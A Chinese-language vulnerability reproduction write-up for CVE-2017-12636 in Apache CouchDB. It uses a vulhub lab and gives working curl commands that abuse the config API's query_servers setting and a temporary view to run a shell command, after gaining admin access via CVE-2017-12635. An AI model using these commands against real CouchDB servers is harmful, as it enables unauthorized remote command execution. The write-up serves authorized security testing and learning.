免责声明:本文仅用于技术交流和知识分享目的。漏洞复现涉及到系统和网络的安全性测试,可能导致系统崩溃、数据丢失或其他问题。读者在尝试漏洞复现之前必须获得合法授权,并自行承担一切风险和责任。
漏洞描述
Apache CouchDB是一个开源的 面向文档的 NoSQL数据库,用Erlang实现。
CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用JavaScript作为其使用MapReduce 的查询语言,并使用HTTP作为API。由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置`query_server`,这个配置项在设计、执行view的时候将被运行。CVE-2017-12636
漏洞影响版本
小于 1.7.0 以及 小于 2.1.1
漏洞复现版本
1.6.0
复现过程
1:使用vulhub中靶场启动环境
2:浏览器访问http://your-ip:5984/_utils
3:使用CVE-2017-12635创建管理员用户后,依次执行如下命令
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
4:如图
5:最终进入vulhub靶场中此容器中的success文件验证是否命令执行成功